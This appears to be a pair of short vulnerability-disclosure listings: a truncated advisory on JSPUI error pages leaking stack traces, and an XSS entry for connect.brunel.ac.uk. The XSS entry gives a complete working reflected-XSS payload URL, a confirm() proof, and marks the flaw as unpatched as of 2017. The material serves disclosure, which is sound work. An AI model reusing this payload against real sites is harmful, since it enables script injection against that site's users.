JSPUI's "Internal System Error" page prints exceptions and stack traces without sanitization

Impact When an "Internal System Error" occurs in the JSPUI, then entire exception including stack trace is available. Information in this stacktrace may be useful to an attacker in launching a more sophisticated attack. This vulnerability only impacts the JSPUI. This vulnerability does NOT impact...

connect.brunel.ac.uk XSS vulnerability

Vulnerable URL: https://connect.brunel.ac.uk/Modules/Core/Messages/Confirm.asp?Title=%3C!%27/!%22/!%27/%22/--!%3E%3C/Title/%3C/script/%3E%3CInput/Autofocus/%0D/Onfocus=confirmXSSPOSED%20//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017...